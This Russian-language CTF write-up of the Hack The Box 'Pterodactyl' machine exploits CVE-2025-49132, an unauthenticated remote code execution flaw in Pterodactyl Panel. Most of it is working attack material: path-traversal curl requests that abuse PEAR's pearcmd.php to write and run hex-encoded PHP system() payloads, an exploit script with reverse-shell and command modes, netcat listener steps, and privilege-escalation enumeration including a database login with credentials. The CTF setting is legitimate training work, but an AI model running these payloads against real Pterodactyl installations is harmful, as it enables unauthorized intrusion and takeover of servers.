CVE-2025-49132 - Эксплуатация RCE панели Pterodactyl

HTB Season 10 - Разбор машины Pterodactyl

Обзор

Цель: Машина Pterodactyl HTB (Средняя сложность)
CVE: CVE-2025-49132
Серьезность: Критическая (CVSS 9.8)
Тип атаки: Неавторизованное удаленное выполнение кода
Затронуто: Панель Pterodactyl < v1.11.11

Эта цепочка эксплойтов объединяет:

1. Path Traversal в системе перевода локалей
2. Внедрение команд PEAR через pearcmd.php
3. Выполнение PHP-кода через запись и включение файлов

Ошибка

Конечная точка /locales/locale.json панели Pterodactyl позволяет обход пути через параметр locale:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Это можно комбинировать с pearcmd.php от PEAR, чтобы:

1. Записать произвольные PHP-файлы в /tmp
2. Выполнить их через другой запрос

Почему это работает

PEAR (PHP Extension and Application Repository) имеет CLI-инструмент (pearcmd.php), который:

• Принимает команды через параметры URL (предназначен только для CLI)
• Имеет команду config-create, которая записывает файлы
• НЕ имеет аутентификации при вызове через веб

Цепочка эксплойта:

Обход пути → Загрузка pearcmd.php → Внедрение PHP через config-create → Выполнение вредоносного PHP

Трюк с hex2bin()

Команды кодируются в hex с помощью hex2bin() для обхода:

• Проблем с URL-кодированием
• Фильтров специальных символов
• Проблем парсинга Nginx/PHP

Пример:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

Удаленное выполнение кода

Метод 1: Использование предоставленного exploit.sh

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

Метод 2: Ручная эксплуатация

# Step 1: Write PHP shell (hex-encoded "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Step 2: Execute
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

Метод 3: Python-скрипт

Я добавил exploit.py
**Установите requests**

🛠️ Предоставленные инструменты

1. exploit.sh (Рекомендуется)

Полнофункциональный bash-эксплойт

./exploit.sh cmd "whoami"           # Execute single command
./exploit.sh shell 10.10.14.21 4444 # Reverse shell
./exploit.sh flag                   # Find user flag

Особенности:

• Кодирование Hex2bin() для надежности
• Фильтрация вывода на основе Python
• Несколько методов получения оболочки (bash TCP + mkfifo)
• Чистый, разобранный вывод

2. CVE-2025-49132_DETAILED.txt

Подробная техническая документация

Содержит:

• Глубокий анализ уязвимости
• Объяснение архитектуры PEAR
• Пошаговый разбор эксплойта
• Руководство по устранению неполадок
• Методы обнаружения (IOCs)
• Стратегии смягчения последствий

Быстрый старт

# 1. Add to /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Download exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Get shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Get user flag
cat /home/phileasfogg3/user.txt

Повышение привилегий

Перечисление

# Check running services
ss -tlnp

# Found:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Check sudo
sudo -l
# (Likely requires password)

# SUID binaries
find / -perm -4000 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Распространенные векторы повышения привилегий

1. MySQL с известными учетными данными

mysql -u pterodactyl -pPteraPanel
# Check for UDF injection, file write perms

2. PHP-FPM, работающий от root

# Check for FPM exploitation (CVE-2019-11043 or config abuse)

3. Эксплуатация Redis

# Check for auth bypass, RCE via cron
redis-cli -h 127.0.0.1

4. Проверка доступных для записи скриптов в cron

find /etc/cron* -writable 2>/dev/null

5. Эксплойты ядра (крайний случай)

uname -a
# Check for DirtyCow, etc.

Ссылки

CVE и эксплойты

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Технические ресурсы

• Pterodactyl Panel Docs
• PEAR Documentation
• OWASP Path Traversal